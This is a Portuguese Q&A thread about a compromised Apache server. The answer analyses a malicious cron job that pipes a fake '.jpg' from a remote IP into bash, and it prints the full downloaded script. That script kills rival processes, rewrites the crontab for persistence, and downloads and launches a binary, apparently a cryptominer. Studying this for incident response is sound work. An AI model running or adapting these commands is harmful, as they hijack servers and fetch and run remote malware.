servidor comprometido - ./sysd -c apache.cf -t 1 comendo todos memmory

0

Meu servidor foi certamente comprometido. Agora quero encontrar onde os hackers entram no servidor. Antes do ataque eu posso ver no syslog:

 May 13 01:28:23 eee crontab[10680]: (www-data) DELETE (www-data)
May 13 01:28:23 eee crontab[10681]: (www-data) REPLACE (www-data)
May 13 01:29:01 eee cron[955]: (www-data) RELOAD (crontabs/www-data)
May 13 01:29:01 eee CRON[10697]: (www-data) CMD (curl -s http://136.144.175.206:4477/2/logo11.jpg | bash -s)

É capaz de adicionar cronjob e chamar algum arquivo de imagem. Onde procuro por pistas? Obrigado.

    
por user1031742 13.05.2018 / 02:06

1 resposta

1

Veja mais de perto o cronjob de curl.

Ele executa um comando bash e o nome do script bash é logo11.jpg.

curl -s http://136.144.175.206:4477/2/logo11.jpg | bash -s

Este é apenas um truque muito barato e não muito sofisticado. Se você colocar o comando em outra ordem e fizer o download do arquivo, o comando será parecido com isto:

POR FAVOR, SEJA CUIDADO, NÃO BAIXE O ARQUIVO E EXECUTE. ISSO É INFORMATIVO

bash -s logo11.jpg

Portanto, não se deixe enganar pelo final .jpg. Não é um jpg, é apenas um arquivo de texto simples com os comandos seguintes.

Onvce está no seu cron, o bash irá simplesmente executar este arquivo "Text" que é na verdade um pequeno script bash. Fácil, né?

#!/bin/sh
pkill -f suppoie 
pkill -f vlqd
ps aux | grep -vw apache | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep -w syslogs |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && \
echo "* * * * * curl -s http://136.144.175.206:4477/2/logo11.jpg | bash -s" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
curl -o /var/tmp/sysd http://136.144.175.206:4477/2/sysd
curl -o /var/tmp/apache.cf http://136.144.175.206:4477/2/null.cf
chmod 777 /var/tmp/sysd
cd /var/tmp
proc='grep -c ^processor /proc/cpuinfo'
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages='$num'
nohup ./sysd -c apache.cf -t 'echo $cores' >/dev/null &
fi
sleep 3
echo "running....."

FYI - Eu enviei um email ao ISP para dar uma olhada nisso, o ip ainda está ativo e o arquivo ainda pode ser baixado. É a coisa decente a fazer e é por isso que estou escrevendo isso. Algumas linhas podem ajudar um colega administrador.

    
por s1mmel 13.05.2018 / 03:04